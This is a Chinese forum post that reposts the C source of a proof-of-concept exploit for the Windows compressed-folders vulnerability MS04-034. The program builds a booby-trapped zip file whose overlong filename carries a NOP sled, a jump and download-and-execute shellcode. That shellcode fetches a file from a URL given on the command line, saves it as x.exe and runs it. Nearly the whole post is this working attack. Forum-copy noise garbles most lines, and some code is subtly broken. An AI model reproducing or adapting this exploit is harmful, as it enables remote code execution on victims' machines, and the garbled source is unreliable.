- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)' p5 f& L3 I- T1 ~. J
*2 ?" I/ e5 N) l4 Y2 @8 G
* Tested under Windows XP SP0 Spanish/English
0 Z0 Y( J$ Q3 I6 v0 G: @3 c$ P*
+ f4 p. v/ B, C+ ^* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html; [+ `! k0 X- j; \ E/ w
* Exploit Date: 21/10/2004, D) Y9 ~1 m1 E% L) e
*
0 B3 P0 T) j3 g% L' x* Tarako - Haxorcitos.com 2004- o# B4 c. H' W4 U
*7 a4 C* l0 }+ y' r7 f
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"8 i1 X# ~2 T) \* [9 ?7 d& ^
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION# T! M! w/ C; w" K% i! r
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
2 y0 C6 A" W5 B*
: H0 v1 D1 e' j! P7 G- b+ X0 c+ ^' m* Greetings t #haxorcitos, #dsr and #localhost @efnet0 j2 {, u; D( ^: v+ m
*( s9 C7 W( Z- }4 {5 a, N
*
$ y' ~$ Y5 p0 @2 @ R* How to get new offsets:
5 M s, d+ b$ i# j2 ^. F) \3 |* 1) attach debugger (i.e ollydbg) to explorer.exe/ w$ n& f4 N$ T: e9 j* a" w! D8 W C
* 2) open the zip file as a folder and add or move some files to it4 n: `4 L) G) T: \: s. w3 w. o
* 3) search in the explorer.exe memory the shellcode and get the addresses
" A, g( m7 m' J. i*: u; b+ Y3 s6 K( ?
*/
! v4 C# C; F. S0 ]' T2 w! n' a/ b" g/ G- r) U: f: O3 ]# N3 S
#include <stdio.h>* W4 n, S4 u4 c7 T h
#include <windows.h>% e+ L! V, Q7 C; o8 t
+ E" N8 ]. y# Q8 p! [# b#pragma pack(1)
' U _0 Y W& S% Q4 e. g( j0 J7 v* G1 Q8 X+ f) u1 g3 p
#define DATOS "Tarako-Haxorcitos.com"
, k( ^' q1 O7 Q6 B" D9 H- X* X
( U) o. x1 `6 ? p2 X# @typedef struct {
r, c& \& n& V; y3 p: M: SDWORD Signature; // PK.. 4 bytes (0x04034B50)7 L3 u% s: |( {2 h7 i
WORD VersionNeeded;
. f1 i" S+ H* PWORD GeneralPurposeFlag; // para el data descriptor y demas# V+ i" }3 F9 }& A
WORD CompressionMethod;
0 n9 Y; a4 W7 B uWORD ModFileTime;
( L/ M0 c8 L" a9 `. wWORD ModFileDate;
0 P& K5 z' l, C5 \DWORD Crc32;6 E& D. A2 w/ }9 r# @3 C
DWORD CompressedSize;3 K+ p2 s8 O% L) {( L- [- a
DWORD UncompressedSize;6 z6 @: ?; l0 W
WORD FilenameLength;
$ R1 P* q' E! z2 t+ b( W; Q# N# lWORD ExtraFieldLength;3 x! K, K1 A0 K! d9 Z: Z% z9 W
// filename (variable size)2 K" _' d0 b1 q7 P5 L$ Q2 h( s
// extra field (variable size)# {: h9 J K# i; r' Z' \' x2 n; u
}TOPHEADER;3 T% b9 d( t/ o; ~% V1 m
- u' i* ~% n% S, Q6 c( v( r- `) b8 V. N, ]; [: m: m& l1 ?9 V
typedef struct { ( L/ d0 P# n: E b9 i! x2 R
DWORD Signature; // PK.. 4 bytes (0x02014B50)
3 ^ F& c; u$ C: O0 hWORD MadeVersion;
* I6 L; b# O4 ]3 AWORD VersionNeeded;% N8 J# k5 F/ P2 v# S: `1 A: f& ]
WORD GeneralPurposeFlag; // para el data descriptor y demas
/ A$ W5 B# N4 i/ k9 E* @6 x6 nWORD CompressionMethod;
9 C+ E1 e3 \$ Z% B( e- ^* T+ s+ TWORD ModFileTime;
2 Y x5 w2 m* h! \+ w% D3 EWORD ModFileDate;2 O: ^6 M( |( g! `. c
DWORD Crc32;0 O0 F8 Y) N; o( N
DWORD CompressedSize;
: H8 v' H4 U+ s5 m qDWORD UncompressedSize;
( y7 c0 B9 ?3 ZWORD FilenameLength;' M% T$ Y- e+ F
WORD ExtraFieldLength;
+ q! ]/ \ J& w _+ c7 r7 iWORD FileCommentLength;; M/ ?7 t2 R0 H, G' L# l& {3 w
WORD DiskNumberStart;
; T3 j' r! ?: p( `) w8 }WORD InternalFileAttributes;
f N( S' I% x8 w( HDWORD ExternalFileAttributes;2 ?( p/ r4 ~7 U" c7 X
DWORD RelativeOffsetOfLocalHeader; G) Z* F. S+ @
// filename (variable size)/ H2 l2 B& i% L5 D8 n% t" [
// extra field (variable size)
. ~ Q4 c1 e& r/ |8 Y// file comment (variable size)0 I2 p2 D( H: L) }
}MIDDLEHEADER;) i/ o8 o1 X# O4 R0 ~
* |" z0 g2 U5 ?; @# B& S1 ]typedef struct {, l- Z4 {: u- X# ~
DWORD Signature; // PK.. 4 bytes (0x06054B50)4 W4 z1 m$ N5 F9 s: h
WORD NumOfThisDisk;
0 F1 f) R8 [) Z K+ JWORD NumDisckStartCentralDirectory;
9 W" N* r* }8 K; a* q* J1 RWORD NumEntriesCentralDirOnThisDisk;1 n9 `$ @7 ^( U1 f
WORD TotalNumEntriesCentralDir;/ y' F- |+ `* M/ p
DWORD SizeCentralDirectory;% @9 w1 V* g& ^% H* n5 i
DWORD OffsetCentraDirRespectStartDiskNum;0 F9 l8 [; X) z. T; K0 V6 G8 [
WORD ZipCommentLength;
8 H! F; |0 y% z# }// zipfile comment (variable size)
2 J# t1 e! H, m3 Q/ ]1 t}BOTTOMHEADER;# B5 @8 L& T/ s8 I0 ?3 o7 ^
: g. G( q/ e9 R9 }: x, x; v/*3 O) F: E) }7 v; g) S6 ]9 m [
* download shellcode - RaiSe - raise@netsearch-ezine.com, w8 e; f" a$ I0 b) T. e0 V
*/
F3 _3 s) s$ i: W4 |char shellcode1[] =# ?9 l3 I' u$ i- i7 u- ?
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
6 `! W% r; R$ t# n"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"$ p9 {6 S* Y7 Q) H B
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"& `& J7 ~1 s9 w+ y/ {
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8". T8 h7 c3 U: d5 t1 c) ?
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
% G. H2 v+ R5 `- ]8 G- w$ h* K"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"8 @; d+ x% z. W: ^, X
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
( O7 X$ G0 m+ q5 v, }; J4 m"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"/ C' }+ z6 v1 M2 i6 |+ H
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
g6 r% N" A8 u. ]; h. }"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"6 }! B* H# R4 r8 l
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
1 f7 @5 p: B1 s9 G9 u"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
7 G M2 a7 x; N/ G( J7 P1 R, u( _"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
) `* b( m! c1 V, @/ D"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"( G. \; O8 |8 {, ^1 D
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0", P# E$ d# Y( R, V5 }1 m7 t7 z
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"7 F! i, I0 d/ R( M
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"$ `; S# M, M+ Y* p) S+ k% p5 c
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
7 m6 z. D+ X0 k) R$ p5 p" B$ _"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
3 A' a/ f' X( g1 T"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"# o/ n0 E" D# b' j, F- O1 f
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"+ q. O, t' E' X% o
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC": T; `# g5 M$ q
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
- o) C# W4 i# g* {/ E0 g+ I6 _"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"4 f6 A3 Y, T" {7 q
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"# L8 K- |0 _, m
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
8 Y. G7 T: e1 F9 D+ M$ F% \3 f"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"! ]. i H# a4 C/ E; a
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"9 m; A# B/ ]# l7 a7 {
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
9 I4 v# {" h* q \! M: X/ ~"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"6 g2 K4 E: B! A) R3 Z/ b6 i3 U1 r
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"' Z, h+ o7 @3 x. u1 S7 f
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"4 l: Z( \# ?- B' M
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
* B4 y, z! W2 @7 |: t9 r"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64") g9 f2 ? u- v3 O$ D
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";5 Y6 i' @% G( H. L
char shellcode2[] ="\x08\x01";
4 |+ e! @$ M1 h0 N% Z1 @
+ B# x& C* X; G2 U7 A; q& Echar offset[]="\x41\x41\x41\x41";
: N: N+ g/ H/ k7 g' {; V# S3 T. |) schar jmpbelow[]= "\xeb\x06\x90\x90";7 c+ T9 G" Y2 X9 S% H
' v0 q. r2 z* q5 m' Tint main(int argc,char *argv[]) {7 m& O: ?2 }, E1 X) j
' V6 ~6 C% j# r( p
FILE *ZipFile;1 O) H' M6 W* W" [6 e
TOPHEADER *Cabecera1;
. y. f/ X7 o. K3 b5 N; BMIDDLEHEADER *Cabecera2;: U! A# U; B* q- C# F- u! ?; I
BOTTOMHEADER *Cabecera3;
: A- d5 v$ @# `; T
9 B E1 s- @7 `8 i" t% lDWORD c;
" j! B* j& V0 @5 G) Y& p) |UINT i;/ X$ ?6 \* M! @4 V: @/ D
char *filename;
: w. H c- }4 @; e- Gchar *url;2 s7 M' U: X: O# G. o' O* f
/ M B+ w1 w, h7 Tprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
9 i, q. K1 T7 l* T4 `' s5 _printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
; m& x5 Q/ r- U3 A& H$ I& ~" a' ], H% a# F+ j5 b4 ~( d
if (argc!=2) {
! E5 L6 b3 Q& u8 s6 @printf("\n\n Usage: %s <URL> \n",argv[0]);: k2 R. {6 L6 v; v- \8 {: D! t
exit(1);# o9 X7 }5 q, R& y
}
) W: l' _1 r) H) z) R
- ^9 A: F p7 d ~" W) rurl=argv[1];
3 t1 k( h8 x: d3 r1 Y" }printf("\n * URL: %s",url);' U7 O( U9 [* v) d3 L
0 L/ ^4 `9 Y) Z- f
" C3 ]; ~; X/ lif (!(ZipFile=fopen("prueba.zip","w+b"))) {
W4 a7 j8 ]* c$ D% I* kprintf("\n [E] fopen()");
' N# x7 ~6 w8 B! N `: m: {exit(1);
4 z; I9 g$ O/ p6 _& X h7 Z& H}
# i5 n) T/ D' K `! W2 ~8 D" y" w# C$ N
c=0x8000; // filename length
9 m, I& i. i* ^filename=(char*)malloc(sizeof(char)*c);
* w) x3 h$ r7 r2 A. L8 ^* Vmemset(filename,0,sizeof(filename));% i% L) ?4 x+ e
4 x* B4 o8 F0 T$ i, ~) R6 {
for( i=0x0;i<c;i++) filename=(BYTE)0x90;- r6 o) x* q* B2 I2 u; N
7 y1 U8 y" g2 V7 [5 ^: b
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));; J; |- t% @# j" ~
memcpy(filename+0x1818,offset,strlen(offset));5 c* w8 } T; T* Z
# L0 ^0 o. n" j7 k3 X- ?memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);' u8 x0 o! ?! l
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));) N" L& w. a: H7 K* H- y4 v
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
4 C8 ]- [% |. _' A3 O& J* Z+ O- `, N" M" |
memcpy(filename+(c-4),".txt",4);( h, ]4 }+ ~+ e: b$ L
/ a+ ?, t0 N7 z: c; r% aCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); y& L! ~5 y P. H ?- N
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
, z2 z5 L+ h/ J# N5 T- ]/ l3 P4 VCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
L4 T3 U( U. C3 y/ b0 q/ jmemset(Cabecera1,0,sizeof(TOPHEADER));$ a# r2 {' o) t" i9 _; ` \, w# b* I
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
& z% m9 u) ^: {2 Z) y+ r- P4 jmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); " o4 @' d% k" {( K9 @
/ N' b# K0 u5 I5 I
///////////////////////////////////////////////////////////////////" w6 \: I% M8 [' Q. Y# |
// TOPHEADER; S9 y5 A4 F7 n# ^2 Y, F; H
///////////////////////////////////////////////////////////////////! i/ }: I& B: h' U* U& i Q! V
Cabecera1->Signature=0x04034B50; // DWORD
) V3 @6 v* d0 j& x$ ]; f* C1 @, {Cabecera1->VersionNeeded=0x000A; // WORD9 k* w9 k2 M _ m
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
8 [8 U% ?) _/ H1 C5 c5 @' c+ eCabecera1->CompressionMethod=0x0000; // WORD& p* w: o. D% t/ Z
Cabecera1->ModFileTime=0x1362; // WORD
( n3 v. {' c6 f4 x8 zCabecera1->ModFileDate=0x3154; // WORD
1 K$ a7 z6 p3 O$ a8 N, u/ z: ^Cabecera1->Crc32=0x85B36639; // DWORD
* C6 G ]. U! U+ z jCabecera1->CompressedSize=0x00000015; // DWORD5 b1 @( l/ w( E! B2 j
Cabecera1->UncompressedSize=0x00000015; // DWORD& s7 K; I2 n+ h0 K' F% H. {6 I/ Z
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);+ }3 I6 a5 \/ K0 v/ `2 v
Cabecera1->ExtraFieldLength=0x0000; // WORD% u$ F. k4 `* T/ r3 H( I0 w/ { a
///////////////////////////////////////////////////////////////////
* ~2 o3 T! ^! ~6 q, M/ L' e2 I/ `6 @* D( h( @# Y# l7 \
///////////////////////////////////////////////////////////////////$ Z; ^. ]% V& _
// MIDDLEHEADER
/ Q* Y! g; |3 A: g* ]& N7 D+ C( ]! x///////////////////////////////////////////////////////////////////5 v/ T2 `$ _- n, ?) D+ h
Cabecera2->Signature=0x02014B50; // DWORD
& F) }( M7 g5 N: w. oCabecera2->MadeVersion=0x0014; // WORD
7 X i4 v* y% n! m& b3 Y0 uCabecera2->VersionNeeded=0x000A; // WORD, J/ |- I$ E& M. Z
Cabecera2->GeneralPurposeFlag=0x0002; // WORD" v9 b) e; F5 }3 @
Cabecera2->CompressionMethod=0x0000; // WORD! l+ l$ C. D; |. h
Cabecera2->ModFileTime=0x1362; // WORD
( e# Q, Y% g) @Cabecera2->ModFileDate=0x3154; // WORD
0 e( [1 k3 H, G/ G# pCabecera2->Crc32=0x85B36639; // DWORD
: B5 a. o9 c# o ~+ p$ g% YCabecera2->CompressedSize=0x00000015; // DWORD5 B/ c6 W! ]1 ~- Q, C% c. x& Q
Cabecera2->UncompressedSize=0x00000015; // DWORD
z$ u& S6 V! k$ v* W( tCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
! e5 p$ h) m- qCabecera2->ExtraFieldLength=0x0000; // WORD
: Y; j. X! |8 t/ }: T/ ]( HCabecera2->FileCommentLength=0x0000; // WORD
% U; @/ b1 O( m/ R, wCabecera2->DiskNumberStart=0x0000; // WORD
: z3 ~+ Z9 S$ E4 GCabecera2->InternalFileAttributes=0x0001; // WORD
0 M7 j+ R! [- h: vCabecera2->ExternalFileAttributes=0x00000020; // DWORD
! I0 @; N5 L; O8 g! ~& VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD) w; o9 ]/ d3 {5 G6 N
///////////////////////////////////////////////////////////////////% j# X1 S: q1 L8 ^7 G) R8 C
W/ z* K) I$ a3 M. \1 z1 z4 ^///////////////////////////////////////////////////////////////////
/ O+ K+ ]+ F& f6 W8 w' G3 ]! d// BOTTOMHEADER
: u8 v% ]. ?( y///////////////////////////////////////////////////////////////////; x; i3 Y2 Z0 }" k
Cabecera3->Signature=0x06054B50; // DWORD
J# }' u; W4 c$ g2 S) s vCabecera3->NumOfThisDisk=0x0000; // WORD
2 N* E: K& M) d6 q$ {- i! ]Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
! d1 v4 R: N( H6 m. f, N5 mCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
* Z' X# E/ v* r4 OCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
5 Z9 y3 D# H4 {. N; y* BCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD5 ^. h `9 @( Q: j5 ~% d
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
' A" W+ ^$ O0 b2 s3 z% rCabecera3->ZipCommentLength=0x0000; // WORD1 [2 k& G6 e$ t) i# N* G, H2 V; H K
///////////////////////////////////////////////////////////////////
1 B% E0 C# L0 a9 Y0 y: T; i2 f4 {( p* F1 r' v, J9 C' i9 j& j
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
3 k4 P4 l1 e: h9 @8 C9 a
! H1 Y. U2 L# e# t: I6 I7 wfwrite(filename, c, 1,ZipFile); # D! O6 K# o4 Z$ T* F0 Z
fwrite(DATOS,strlen(DATOS),1,ZipFile);$ u% @7 v7 b. P- g, }* u5 s6 h
; G( z" o7 I/ B: e
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
$ ^# a" |7 `* a! a5 L; [) `$ Qfwrite(filename, c, 1,ZipFile);
0 ]1 B) i8 {, j; J/ O5 wfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
7 l: r4 d! K) L, j: R9 v
4 ~- u$ I" ^& d( s, ifclose(ZipFile);
0 ~+ x( h5 N, Y0 e; O) ~printf("\n * prueba.zip created\n");
) V) e3 g. I5 y3 Y U( E. I+ m3 Dreturn 1;
: x/ P) y- o6 F. ^. {" x/ J, f}//downloaded from milw0rm.com
8 G7 L( I" y0 ^( f2 B |
zan
|